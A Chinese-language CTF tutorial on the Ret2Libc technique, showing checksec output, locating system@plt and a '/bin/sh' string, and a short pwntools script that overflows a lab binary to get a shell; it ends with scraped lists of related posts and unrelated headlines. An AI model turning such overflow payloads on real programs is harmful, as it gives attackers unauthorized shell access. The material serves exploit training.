Ret2Libc即控制程序执行libc库中的函数。

通常是返回到某个函数的plt处,或者函数运行时候的实际地址。

下面是一个例子:

可以看出程序gets有一个明显的溢出漏洞

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

可以看到程序开启了NX,

我的linux已经开启了ASLR

而且,这个程序中,

我们可以用 objdump在plt表中找到system

objdump -d ret2libc1 | grep "plt"

用ROPgadget可以找到 ‘/bin/sh’

ROPgadget.py --binary ret2libc1 --string "/bin/sh"

system_plt = 0x08048460
bin_sh_addr = 0x08048720

确定溢出漏洞所需要的填充长度为112

利用思路:

1、用system_plt地址覆盖函数的返回地址

2、构造一个system_plt的返回地址

3、给system函数传入参数:/bin/sh 的地址

我们就可以构造payload了

exp:

from pwn import *
sys_plt = 0x08048460
bin_sh = 0x08048720io = process('./ret2libc1')
payload = 'A'*112 + p32(sys_plt) + p32(0x41414141) +  p32(bin_sh)
io.sendline(payload)
io.interactive()

成功getshell

Ret2Libc(1) (有system、/bin/sh)绕过NX、ASLR相关推荐

  1. 解决:/system/bin/sh: /system/bin/test-ndk: not executable: magic 7F45报错

    在夜神模拟器运行arm编译器编译出来的可执行文件,结果报错: /system/bin/sh: /system/bin/test-ndk: not executable: magic 7F45查了一下, ...

  2. 用adb pull复制Android手机里的文件到服务器遇到system/bin/sh: adb: not found

    作者: 邓小猪 博客:https://blog.csdn.net/qq_35210586 知乎:https://www.zhihu.com/people/dengxiaozhu/activities ...

  3. /system/bin/sh: XXX not found

    在验证IOT的设备,设备是标准android系统的时候,经常发现一些常用的指令显示未找到 使用busybox即可 BusyBox是一个遵循GPL协议.以自由软件形式发行的应用程序.Busybox在单一 ...

  4. Ret2Libc(2) (有system、无‘/bin/sh’)绕过NX、ASLR

    和Ret2Libc(1)一样,先把程序扔进IDA看看代码 和Ret2Libc(1)一样,gets存在溢出漏洞 gdb-peda$ checksec CANARY    : disabled FORTI ...

  5. Ret2Syscall绕过NX、ASLR保护

    Ret2Syscall,即控制程序执行系统调用,进而获取shell. 下面看看我们的vuln程序. 可以看出,程序中的gets有明显的 溢出漏洞 用gdb打开, 检查一下文件开启了哪些防护: 可以看出 ...

  6. Shell-/bin/bash和/bin/sh解释器的误用引起的脚本语法错误

    文章目录 生猛干货 背景 问题分析 解决办法 知识点回顾 搞定Linux核心技术 生猛干货 从系统安装到程序员必备的Linux技能,还原真实工作场景,手把手带你实战演练 背景 下面的脚本,在Linux ...

  7. linux中的 bin sh,Linux-#!/bin/sh理解

    #!是一个特殊符号,/bin/sh是用来解释该脚本的的shell路径 #!/bin/sh指该脚本使用/bin/sh来执行 sh只是其中一种解释方式,通过如下命令可以查到支持的shell解释方式: xx ...

  8. 【Linux】【编译相关】execvp: /bin/sh: Argument list too long问题处理小结

    问题背景 execvp: /bin/sh: Argument list too long问题出现的两种情况: 1.make的时候,如编译Linux内核.驱动.Android版本等较长-I.-D选项的情 ...

  9. linux7crontab启动,CentOS7crontab不执行 报错/bin/sh:root:commandnotfound

    使用CentOS7 执行定时脚本,结果提示报错: /bin/sh: root: command not found 问题在于文件 /var/spool/cron/root ,中无需再写root. 修改 ...

最新文章

  1. python天天学怎么样-Python天天学_01_基础1
  2. java内存模型之一
  3. 【转载】Python操作Excel的读取以及写入
  4. 帆软获取上月的第一天与最后一天_《原神》岩港打工第一天怎么玩 岩港打工第一天玩法攻略...
  5. ssh 登陆错误后禁止ip再次登陆_macOS破坏SSH默认规则,程序员无法登录Web服务器...
  6. oracle 截取小数点_oracle函数(关于处理小数点位数和时间) | 学步园
  7. mysql必知必会第一节
  8. cilium插件测试_Cilium网络概述
  9. 安装Mirantis OpenStack Fuel 9.0
  10. 通过aspnetpager为DataList分页
  11. 数据库系统常用的数据模型
  12. Mac电脑没声音了怎么办?
  13. 7-8 jmu-Java-03面向对象-06-继承覆盖综合练习-Person、Student、Employee、Company
  14. excel小写转大写公式_不要眨眼!中英文、大小写转换,一秒就搞定!
  15. Qt笔记(五十七)之显示图片缩略图
  16. SQL难学吗,有什么好的学习建议?(转载)
  17. Hystrix服务降级的两种处理方式@HystrixCommand注解和定义统一fallback接口
  18. 液晶面板里面有些什么配件_一张图看懂液晶面板内部结构,竟如此复杂
  19. Site Template
  20. CSS-border边框

热门文章

  1. Facebook开源多款AI工具,支持游戏、翻译等
  2. AI一分钟 |世界上第一个无人驾驶出租车在迪拜投入使用,2030年无人驾驶将覆盖迪拜25%的交通行程
  3. 取代MybatisPlus?阿里推出了新 ORM 框架!(两者对比参考)
  4. 如何快速定位当前数据库消耗CPU最高的sql语句?
  5. Eclipse 官宣,干掉 VS Code !
  6. 笑了,面试官问我知不知道异步编程的Future。
  7. Spring集成任务调度功能
  8. Kaggle经典数据分析项目:泰坦尼克号生存预测!
  9. Github热榜:2021年33篇最酷AI论文综述!多位华人作者入选
  10. 知乎热议20年科研怪状:为何论文创新性越强越难发表,跟风修修补补反而更容易发?...